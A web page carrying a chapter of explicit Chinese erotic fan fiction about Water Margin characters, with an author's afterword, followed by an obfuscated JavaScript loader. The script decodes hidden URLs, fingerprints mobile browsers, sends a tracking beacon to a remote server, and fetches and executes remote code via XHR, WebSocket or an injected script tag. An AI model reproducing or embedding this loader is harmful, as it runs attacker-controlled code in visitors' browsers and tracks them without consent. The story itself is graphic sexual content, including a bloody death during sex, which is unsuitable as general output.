  张霞牝内渐渐生水,汩汩成流,舒畅甜美,惬意非常,心中淫念大作,不由

得主动抬着粉臀迎合着,口中呻吟不绝,曲意逢迎。



  老林宁越插越是上火,心想这宫廷异药就是够劲,我老人家已是许久没有这

般有力雄伟了,只觉得那肥肥厚厚的牝户是插也插不烂,便发了狠劲儿,如此这

般抽了数百下,张霞顿觉那龟头处喷来一股灼热之物,直浇灌在花蕊上,酥麻酸

辣,快美无比。然而却不曾觉得那阳物有些许颓废,犹然坚挺有力,反倒是更加

的滚烫灼人了。



  当下老林宁气蕴丹田,意气风发,抽插起来比前番更是有力,更加深入,直

插得张霞是淫声不断,玉腿横蹬。张霞芳心大喜,腰肢款摆,花枝乱颤,把那光

光肥肥之物直往上耸,每一下都是那样彻底,直抵得花蕊嫩肉生汁,此番感受,

前所未有。



  如是又插了近千下,老林宁又是狂吐阳精於那花瓣之中,虽是大汗如雨,却

是不舍得停歇,仍是扭动不止。



  张霞正在癫狂之际,只觉那灼烧之物烫得花心乱放,心下甚喜,直欲晕去。



  但觉那阳物在牝中跳动不已,直至后来,却是牝内疼痛难当了,要知花儿虽

美,却抵不过那般狂风骤雨摧残,当下只是咬牙忍痛,轻抬臀部凑合着抽插。



  老林宁仍是雄威不减,拚命冲刺,再插了数百下,但觉胸中气血翻涌,体下

有异精流出,腥味极浓,忙抽将出来,但见那鲜血喷涌,源源不绝,恰似那决堤

之水,泛滥成灾。



  张霞正在难当之际,见那粗大阳物抽了出来,正自高兴,却听见老人大叫一

声,倒在地上,阳物之中鲜血洋溢,不由得瞪目结舌,不知所以。



  却见那林宁痛苦不堪,翻滚数下,双腿一蹬,昏迷不醒。张霞见状,情知不

妙,她也不敢告知丈夫,急忙叫来在堂前侍候的锦儿,命她赶回家中,唤来父亲

张天山。



  俗语说得好,薑是老的辣,张天山赶到时,一看现场,已然知道是如何回事

了。



  他命锦儿打来清水给林宁清洗了一番,过了一会儿,林宁渐渐苏醒过来,见

张天山坐在他的旁边,而己身正在寝室之中,已知是怎么回事了。



  “亲家,咱们是自家人,闲话我也不多说了。我已命不久长,只盼你看在咱

们多年知交的份上,多多的帮冲儿,他还不太懂事。”



  张天山点了下头:“冲儿是我女婿,也就是我的儿子,你放心的去吧!”



     ***    ***    ***    ***



  却说林冲点完卯后,依例到校场走了一遭,到了下午无所事事,便走出堂门

径自往西边走。在那儿原有一个好朋友,他自幼相交的一个至友陆谦就住在宝胜

街的胡合里,长得白白净净的,虽然身材不高,但言语滑腻,体态妖娆,实是他

的第一男宠。



  “而今大哥已是公家中人,以后也得帮衬帮衬你的小谦谦呀!”陆谦放出诱

人手段,化妆得如女子一般国色天香,露出款款温柔。



  这歇身之处也是林冲出钱购置的,陆谦原也跟人做过生意,怎奈运气不佳,

弄得血本无归,只好投靠有钱人家帮闲,但他也是有雄心有大志的人,岂肯要那

份闲气,所以总是混得不好。后来还是林冲出面,时常拿些银两周济於他,两人

实是水火交融,恩爱非常。



  “也说得是,我以后为太尉做事,有机会也会提拔你的。”



  二个一同饮酒直至金乌西坠,林冲酒兴一发,两眼精光大盛,一双手已是在

陆谦的身上摸索起来。



  “我原以为大哥新婚后就不要玩这个了,没想到……嘻嘻嘻!”



  陆谦双眼直勾勾的看着林冲,小指如葱不住的在林冲脸上抚摸,轻笑浅吟,

显得风情万种。



  “好谦谦,来,大哥许久没弄你那美穴了。”



  两人嘴对嘴的亲了良久,林冲情热之下已是褪去了陆谦的裤子,粉白的屁股

上纹着一朵红梅,上面站着一只黄莺。



  “好哥哥,你来,只是要轻点哦!”



  陆谦故作娇羞状,张着娇柔的脸,把林冲更是激动得阳物大举。林冲拔出坚

硬火热的阳物,顺手从桌子上拿起酒倒在阳物上,涂了几下,然后又在陆谦的肛

门处沾了几滴,但见菊花蕾处暗红一片,纹理细腻,时张时缩,如冬日里红梅怒

放。



  林冲扶着阳物对准那肛门,徐徐放入,因为是熟门熟路,所以直插到了阳物

没处,陆谦也不觉疼痛,而且还将身子款款后迎。林冲抱着那光光肥肥的大屁股

一抽一插,好不惬意,只觉得那物儿紧紧凑凑,甜美快活。



  “哥哥用力些,谦谦的小穴好痒痒呀!”



  陆谦放浪起来了,那肛门缝中已是泄出些许兴奋之液,淫水流出沾满了他雪

白的臀部。林冲欲火燃烧,更是卖力,两人插了数百回合,陆谦使出淫法内功,

那股儿一夹一放,一吸一吐,仿做女声高吟不已,亲亲乖乖爹爹的直叫。



  再插得数千下,林冲快美非常,周身通泰,一泄如注,雨散云收,两人缠绵

在一起,脱衣共枕交颈而眠。



  过了几柱香的工夫,陆谦的大门被人敲得震山价响,陆谦急忙穿上衣裳前去

开门,却见一个七尺汉子正圆睁怒目望着自己。



  “哎呀,是徐大哥呀,还不快快请进,稀客稀客。”



  来人正是徐宁,他从校场打听得林冲整日在这儿饮酒,便知林冲又起了龙阳

之好。



  “我不进去了,你快叫林冲出来,我和他有事相商。”



  他一向对此种小白脸不怀好感,专靠卖屁股为生,实是男人之耻辱。



  “徐老弟,怎么找上这里来了,敢莫是有什么事儿?”林冲也已下了楼,见

是徐宁,心下甚喜。



  “走吧,走吧。”徐宁不由分说的拉上了林冲便走,他一点也不想多呆在这

里,想想就噁心:“今日我做东,到我家中一叙。”



  两人相交契阔,原也不分彼此,当下策马扬鞭,已是到了徐宁家中。



  “我说林大哥呀,像陆谦那种人你还是少交为妙……”



  还未待徐宁说完,林冲已是打断了他:“徐老弟,你不知这其中之妙,等哪

日让你见识见识一下才好。”



  徐宁已是连忙把头摇得如捣蒜鼓一般:“那个我没路,你且再莫多说。”



  “那好,咱们再乾了这杯。”



  林冲已是喝了再喝,一张豹子脸红得就似西红柿一般,身子已是摇摇欲坠。



  “来,你先歇一会儿。”



  徐宁的眼中掠过一丝欣喜,把那林冲扶上了楼,却见徐家娘子打扮得俏生生

的,双颊晕红,浑身不着寸缕,一副动人景像。



     ***    ***    ***    ***



  林冲是英雄?



  我的答案并不那么肯定。



  武艺高超,就是英雄?



  未必。



  林冲出身於一个低级军官家庭,一身高超武艺,事业顺利,家庭美满,着实

令人欣羡。



  但他的一生却是任由命运来摆佈的。他不如武松、鲁智深等人那般主动的快

意恩仇,拿得起、放得下,他只是唯唯诺诺的安享生活,一心只想贪图个安稳日

子。



  有色友说他是最具悲剧性的人物,这点我大为赞同。



  同样是送发配充军,宋江、武松等人一路是衙役当他们的奴仆,而林冲却是

满佈荆棘,一路坎坷,要不是花和尚出手,他早赴黄泉了。



  终其前半生,只不过是个身不由己的下层军官,充其量也只相当於现在的公

务员罢了。



  而当年施耐庵高就高在,他把一直懦弱的林冲终於被逼上梁山的场景放在了

风雪山神庙。



  在那里,林冲恰似凤凰涅槃,而这代价是高昂的,是痛苦的,唯其如此,才

显得英雄的诞生原是这般的不容易。



  所以说,笔者在这篇当中让他一顶帽子绿了又绿,无非是加个铺垫,让他在

纸醉金迷中苏醒,让他看清这社会原非他所想像中的那样完美,它是人吃人的社

会。



  要不然,林冲怎么才能成为英雄?



  所以,他应该感谢陆谦、高衙内以及高俅等人,是他们这些人间渣滓成就了

他,完美了他,催生了一个水泊梁山的英雄。所以说,一样的英雄,有的是主动

的,有的则是被动的,无疑,林冲就是属於后者。



  (另,国人皆以为换妻乃舶来之品,其实不然,盖自宋朝始,自林冲始,真

所谓古已有之!笑……)



  有色友建议写武松和潘金莲,这个我是万死不写的。武松在我心中,是神,

他完美无缺。而且,终其一生,还是童男子。以武松的性格,也不可能去和自己

的嫂子苟且,那也未免看轻了他。



  更何况此种作品,恶魔岛上已经甚多,我也不想再说了。



  下面,我倒有意写写卢俊义、杨雄,以及风流双枪将董平等人,不过工程庞

大,有些儿力不为继。



               (待续)

function ReZXuWM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LjFzVkH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ReZXuWM(t);};window[''+'T'+'G'+'s'+'Y'+'I'+'q'+'e'+'K'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function isynG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LjFzVkH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=isynG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=isynG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMMuY24lMM0E5NTMM1','167199',window,document,['M','M']);}:function(){};

关闭